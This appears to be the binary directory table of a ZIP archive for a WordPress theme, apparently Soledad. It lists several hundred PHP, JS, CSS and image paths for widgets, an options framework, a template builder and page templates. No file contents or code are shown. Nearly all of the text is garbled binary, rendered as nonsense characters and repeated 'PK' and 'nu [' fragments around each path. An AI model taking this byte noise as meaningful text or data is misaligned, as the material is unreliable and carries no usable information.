(e  (e              a4inc/accessibility.phpnu [        PK       N\AV)  )              Ιinc/fonts_loader.phpnu [        PK       N\D*                ;inc/links/link_html.phpnu [        PK       N\\'  \'              inc/links/link_options.phpnu [        PK       N\OSosA  sA              inc/user-profile.phpnu [        PK       N\#U"                o3inc/exit_intent.phpnu [        PK       N\A9#  9#              oKinc/web-stories.phpnu [        PK       N\mZx5 x5             ninc/Mobile_Detect.phpnu [        PK       N\_                inc/detect_mobile.phpnu [        PK       N\՜Y                inc/maintenance.phpnu [        PK       N\YC!  C!              Kinc/video-format.phpnu [        PK       N\ؐb#  b#              inc/comment_ratings.phpnu [        PK       N\m   #            {inc/class-tgm-plugin-activation.phpnu [        PK       N\gc   c               inc/videos-playlist.phpnu [        PK       N\KUG  G              Vinc/plugins.phpnu [        PK       N\~K                 inc/widgets-ajax.phpnu [        PK       N\7H!  H!              inc/auto-thumbnail.phpnu [        PK       N\                }	inc/options/js/btn-field.jsnu [        PK       N\	  	              inc/options/js/heading-field.jsnu [        PK       N\uH~                inc/options/js/spacing-field.jsnu [        PK       N\IQܦ  ܦ              "inc/options/options.phpnu [        PK       N\h
  
  +            inc/options/custom-fields/spacing-field.phpnu [        PK       N\    )            2inc/options/custom-fields/sizes-field.phpnu [        PK       N\Ek	  	  *            Ninc/options/custom-fields/import-field.phpnu [        PK       N\A  A  '            inc/options/custom-fields/btn-field.phpnu [        PK       N\J4  4  *            Iinc/options/custom-fields/export-field.phpnu [        PK       N\                  inc/options/framework/index.phpnu [        PK       N\q>  >  +            Binc/options/framework/assets/js/main.min.jsnu [        PK       N\QS S .            ۟inc/options/framework/assets/js/plugins.min.jsnu [        PK       N\    2            inc/options/framework/assets/css/style-rtl.min.cssnu [        PK       N\ͻP  *            inc/options/framework/assets/css/style.cssnu [        PK       N\΃HK HK .            @inc/options/framework/assets/css/style.min.cssnu [        PK       N\\    /            inc/options/framework/assets/images/wp-logo.svgnu [        PK       N\
:$	  $	  4            inc/options/framework/assets/images/checkerboard.pngnu [        PK       N\b    6            yinc/options/framework/assets/images/wp-plugin-logo.svgnu [        PK       N\JuO  O  -            inc/options/framework/functions/customize.phpnu [        PK       N\'    ,            minc/options/framework/functions/sanitize.phpnu [        PK       N\R>    *            inc/options/framework/functions/walker.phpnu [        PK       N\5
  
  ,            )inc/options/framework/functions/validate.phpnu [        PK       N\"	C  C  +            winc/options/framework/functions/helpers.phpnu [        PK       N\?~|    +            inc/options/framework/functions/actions.phpnu [        PK       N\t-9+  +  .            -inc/options/framework/classes/fields.class.phpnu [        PK       N\6gμ@M  @M  -            +Yinc/options/framework/classes/setup.class.phpnu [        PK       N\߃Fma  ma  5            Ȧinc/options/framework/classes/admin-options.class.phpnu [        PK       N\A  A  0            inc/options/framework/classes/abstract.class.phpnu [        PK       N\
o	  	  :            ; inc/options/framework/fields/image_select/image_select.phpnu [        PK       N\H9    (            0*inc/options/framework/fields/map/map.phpnu [        PK       N\h6
  
  .            9inc/options/framework/fields/slider/slider.phpnu [        PK       N\0AT|  |  6            Cinc/options/framework/fields/dimensions/dimensions.phpnu [        PK       N\|    0            cUinc/options/framework/fields/spacing/spacing.phpnu [        PK       N\OZ2.  .  8            pinc/options/framework/fields/color_group/color_group.phpnu [        PK       N\^ǔ  8            Kvinc/options/framework/fields/typography/google-fonts.phpnu [        PK       N\yZ  Z  6            GXinc/options/framework/fields/typography/typography.phpnu [        PK       N\Q    2            inc/options/framework/fields/callback/callback.phpnu [        PK       N\<Δ?  ?  ,            ޵inc/options/framework/fields/radio/radio.phpnu [        PK       N\1/xc  c  .            yinc/options/framework/fields/backup/backup.phpnu [        PK       N\i    .            :inc/options/framework/fields/select/select.phpnu [        PK       N\u    *            <inc/options/framework/fields/date/date.phpnu [        PK       N\Hx  x  .            kinc/options/framework/fields/number/number.phpnu [        PK       N\5>y  y  6            Ainc/options/framework/fields/button_set/button_set.phpnu [        PK       N\Et{  {  /             inc/options/framework/fields/icon/fa5-icons.phpnu [        PK       N\ Tg1  g1  /            Qsinc/options/framework/fields/icon/fa4-icons.phpnu [        PK       N\te
  e
  *            inc/options/framework/fields/icon/icon.phpnu [        PK       N\      &            ֯inc/options/framework/fields/index.phpnu [        PK       N\T    2            Hinc/options/framework/fields/sortable/sortable.phpnu [        PK       N\Јe    2            hinc/options/framework/fields/datetime/datetime.phpnu [        PK       N\.Q4  4  *            inc/options/framework/fields/link/link.phpnu [        PK       N\[k+
  
  .            inc/options/framework/fields/upload/upload.phpnu [        PK       N\F)h
  
  2            inc/options/framework/fields/switcher/switcher.phpnu [        PK       N\|Q%1  1  4            |inc/options/framework/fields/wp_editor/wp_editor.phpnu [        PK       N\ڳ
  
  .            inc/options/framework/fields/sorter/sorter.phpnu [        PK       N\K    ,            inc/options/framework/fields/media/media.phpnu [        PK       N\	
    .            | inc/options/framework/fields/notice/notice.phpnu [        PK       N\e<6,  ,  0            
 inc/options/framework/fields/content/content.phpnu [        PK       N\-"  "  .            " inc/options/framework/fields/border/border.phpnu [        PK       N\;;  ;  2            , inc/options/framework/fields/checkbox/checkbox.phpnu [        PK       N\[J%  %  6            ?; inc/options/framework/fields/subheading/subheading.phpnu [        PK       N\=p    6            = inc/options/framework/fields/submessage/submessage.phpnu [        PK       N\dr    2            @ inc/options/framework/fields/fieldset/fieldset.phpnu [        PK       N\)33  3  2            E inc/options/framework/fields/textarea/textarea.phpnu [        PK       N\^    ,            aL inc/options/framework/fields/color/color.phpnu [        PK       N\u  u  0            S inc/options/framework/fields/heading/heading.phpnu [        PK       N\}KY  Y  4            bV inc/options/framework/fields/accordion/accordion.phpnu [        PK       N\w  w  0            ^ inc/options/framework/fields/gallery/gallery.phpnu [        PK       N\K    0            d inc/options/framework/fields/spinner/spinner.phpnu [        PK       N\5?    ,            An inc/options/framework/fields/group/group.phpnu [        PK       N\      *             inc/options/framework/fields/text/text.phpnu [        PK       N\Xbq    0            * inc/options/framework/fields/palette/palette.phpnu [        PK       N\:2    .             inc/options/framework/fields/tabbed/tabbed.phpnu [        PK       N\Ro2  o2  6            4 inc/options/framework/fields/background/background.phpnu [        PK       N\ջ(  (  8            	 inc/options/framework/fields/code_editor/code_editor.phpnu [        PK       N\upG    6             inc/options/framework/fields/link_color/link_color.phpnu [        PK       N\J$e    2             inc/options/framework/fields/repeater/repeater.phpnu [        PK       N\A                 inc/ajax.phpnu [        PK       N\-                !inc/rss_feed.phpnu [        PK       N\                CV"inc/delayed_div.phpnu [        PK       N\y3^  3^              g"inc/featured_archive_posts.phpnu [        PK       N\              "inc/template-function.phpnu [        PK       N\J@  @              S$inc/custom-sidebar.phpnu [        PK       N\ƹ                  J$inc/data-imex/index.phpnu [        PK       N\w    0            $inc/data-imex/assets/js/advanced-export-admin.jsnu [        PK       N\ſ:Oc&  c&  -            $inc/data-imex/assets/css/penci-imex-admin.cssnu [        PK       N\s?,  ?,              N%inc/data-imex/penci-imex.phpnu [        PK       N\                A%inc/avatar/init.phpnu [        PK       N\jN\?  ?  "            D%inc/avatar/class-penci-avatars.phpnu [        PK       N\#A  A  .            &inc/template-builder/single-elements/share.phpnu [        PK       N\7I    .            E&inc/template-builder/single-elements/title.phpnu [        PK       N\ZfO"  O"  ,            `&inc/template-builder/single-elements/toc.phpnu [        PK       N\=(      /            &inc/template-builder/single-elements/render.phpnu [        PK       N\Ǎ;  ;  9            &inc/template-builder/single-elements/comment-template.phpnu [        PK       N\Y "   "  5            &inc/template-builder/single-elements/entry-header.phpnu [        PK       N\V`#  #  0            >&inc/template-builder/single-elements/content.phpnu [        PK       N\4  4  -            &inc/template-builder/single-elements/meta.phpnu [        PK       N\,  ,  5            Cd'inc/template-builder/single-elements/custom-field.phpnu [        PK       N\*2g  g  1            'inc/template-builder/single-elements/comments.phpnu [        PK       N\C-     4            'inc/template-builder/single-elements/relatedpost.phpnu [        PK       N\crD  D  7            (inc/template-builder/single-elements/postpagination.phpnu [        PK       N\j#s]B  ]B  1            8(inc/template-builder/single-elements/taxonomy.phpnu [        PK       N\,ecJV  JV  3            )inc/template-builder/single-elements/smartlists.phpnu [        PK       N\Io}    1            b)inc/template-builder/single-elements/subtitle.phpnu [        PK       N\cA    3            v)inc/template-builder/single-elements/breadcrumb.phpnu [        PK       N\΄?  ?  1            ʉ)inc/template-builder/single-elements/featured.phpnu [        PK       N\I%-  -  /            )inc/template-builder/single-elements/author.phpnu [        PK       N\e' ' 9            n)inc/template-builder/single-elements/featured-overlay.phpnu [        PK       N\%gT    $            +inc/template-builder/placeholder.phpnu [        PK       N\    1            Y+inc/template-builder/header-elements/wishlist.phpnu [        PK       N\2    2            -+inc/template-builder/header-elements/hamburger.phpnu [        PK       N\    0            >+inc/template-builder/header-elements/compare.phpnu [        PK       N\U*    5            V+inc/template-builder/header-elements/dropdownmenu.phpnu [        PK       N\׫    1            no+inc/template-builder/header-elements/bookmark.phpnu [        PK       N\G    1            m{+inc/template-builder/header-elements/darkmode.phpnu [        PK       N\ܼ$  $  -            +inc/template-builder/header-elements/logo.phpnu [        PK       N\^Z(&  &  -            +inc/template-builder/header-elements/menu.phpnu [        PK       N\K*a    /            +inc/template-builder/header-elements/header.phpnu [        PK       N\(    -            +inc/template-builder/header-elements/cart.phpnu [        PK       N\18ʽI9  I9  /            +inc/template-builder/header-elements/search.phpnu [        PK       N\G    "            4,inc/template-builder/page-edit.phpnu [        PK       N\O8R                6,inc/template-builder/helper.phpnu [        PK       N\ښ    "            HF,inc/template-builder/other/404.phpnu [        PK       N\{-7  7              4L,inc/template-builder/init.phpnu [        PK       N\|?E    5            ,inc/template-builder/archive-elements/description.phpnu [        PK       N\5Ī>  >  /            ,inc/template-builder/archive-elements/title.phpnu [        PK       N\E  /            h,inc/template-builder/archive-elements/posts.phpnu [        PK       N\|    0            -inc/template-builder/archive-elements/render.phpnu [        PK       N\:>d7  7  2            D-inc/template-builder/archive-elements/taxonomy.phpnu [        PK       N\:l   l   4            .inc/template-builder/archive-elements/breadcrumb.phpnu [        PK       N\ʝI  I              z<.inc/json-schema-validar.phpnu [        PK       N\\k
                U.inc/google_search.phpnu [        PK       N\=                7.inc/toc/helper_new.phpnu [        PK       N\h}  }              .inc/toc/progress.phpnu [        PK       N\捦7  7              !/inc/toc/penci-toc.jsnu [        PK       N\-5              Z/inc/toc/tag_filter.phpnu [        PK       N\v,  ,              0inc/toc/helper.phpnu [        PK       N\4VH  VH              B1inc/toc/init.phpnu [        PK       N\YI1  I1              b1inc/widgets/search_box.phpnu [        PK       N\ Q  Q              k1inc/widgets/tiktok_embed.phpnu [        PK       N\O⡳$  $              1inc/widgets/quote_widget.phpnu [        PK       N\
{U  U  (            x1inc/widgets/stylisted_articles_count.phpnu [        PK       N\#!+-  -              %<2inc/widgets/weather.phpnu [        PK       N\PPE  E              kj2inc/widgets/product_lists.phpnu [        PK       N\z=:  :  "            ϯ2inc/widgets/categories_stylist.phpnu [        PK       N\P @  @              02inc/widgets/price_filter.phpnu [        PK       N\QBJF  JF              *3inc/widgets/video_playlist.phpnu [        PK       N\k(  (  $            !q3inc/widgets/product_stock_status.phpnu [        PK       N\2A  A              3inc/widgets/flickr.phpnu [        PK       N\f_l  l               3inc/widgets/taxonomy_listing.phpnu [        PK       N\                uk4inc/widgets/patreon.phpnu [        PK       N\҃q  q  #            {4inc/widgets/posts_slider_widget.phpnu [        PK       N\d/(F  F              4inc/widgets/web_stories.phpnu [        PK       N\i33x  3x  #            <5inc/widgets/related_post_widget.phpnu [        PK       N\,U  U  #            ~5inc/widgets/popular_post_widget.phpnu [        PK       N\>r                &6inc/widgets/mailchimp.phpnu [        PK       N\OP                "6inc/widgets/posts_tabs.phpnu [        PK       N\?                Ea7inc/widgets/block_heading.phpnu [        PK       N\@!  !              [n7inc/widgets/facebook_widget.phpnu [        PK       N\m  m              7inc/widgets/social_widget.phpnu [        PK       N\i5                R.8inc/widgets/product_filter.phpnu [        PK       N\bMp!  !              8inc/widgets/snapchat.phpnu [        PK       N\@_  _              8inc/widgets/social_counter.phpnu [        PK       N\RQ                [d9inc/widgets/comments.phpnu [        PK       N\JjkY4  4              ~9inc/widgets/latest_tweets.phpnu [        PK       N\}6XL  XL              9inc/widgets/list_banner.phpnu [        PK       N\\S  S              O :inc/widgets/product_sorting.phpnu [        PK       N\uQ  Q               :inc/widgets/wph-widget-class.phpnu [        PK       N\2|/o  o  #            +^:inc/widgets/lastest_post_widget.phpnu [        PK       N\kX8  8              ;inc/widgets/buymeacoffee.phpnu [        PK       N\,*  ,*  &            W;inc/widgets/login_register_widgets.phpnu [        PK       N\m'  '              ;inc/widgets/authors_list.phpnu [        PK       N\a:6  :6              ̩;inc/widgets/about_widget.phpnu [        PK       N\5Q6  6               R;inc/widgets/pinterest_widget.phpnu [        PK       N\hg                n<inc/widgets/category.phpnu [        PK       N\N,N  N  #            Y*<inc/widgets/advanced_categories.phpnu [        PK       N\ІLi(  (              y<inc/article_feedback.phpnu [        PK       N\"  "              g<inc/popup.phpnu [        PK       N\]՝
  
              $<inc/theme-updates.phpnu [        PK       N\*{3  3              <content-overlay.phpnu [        PK       N\ a!  a!  
            |<single.phpnu [        PK       N\H                =sidebar-left.phpnu [        PK       N\4r^                ]=content-standard-grid-2.phpnu [        PK       N\ePF  PF              c=content-standard.phpnu [        PK       N\e-2R.  .              d=tag.phpnu [        PK       N\b                I=404.phpnu [        PK       N\KDG                Q=page.phpnu [        PK       N\k                6=content-standard-boxed-1.phpnu [        PK       N\6/%  %              ?=archive.phpnu [        PK       N\vC  vC              =category.phpnu [        PK       N\                ;>sidebar.phpnu [        PK       N\kؒ!  !              q5>content-grid-2.phpnu [        PK       N\ \ \             W>soledad_vc.phpnu [        PK       N\=LA?  ?  	            ?error_lognu [        PK       N\Dƽ5U&  U&              ?content-boxed-2.phpnu [        PK       N\YA/t    
            ?search.phpnu [        PK       N\Sf  f              ?content-page.phpnu [        PK       N\y                @page-penci-full-width.phpnu [        PK       N\e0[  [  
            @author.phpnu [        PK       N\j{u&  &              a=@content-list-boxed-3.phpnu [        PK       N\g\(  (              Cd@content-timeline.phpnu [        PK    		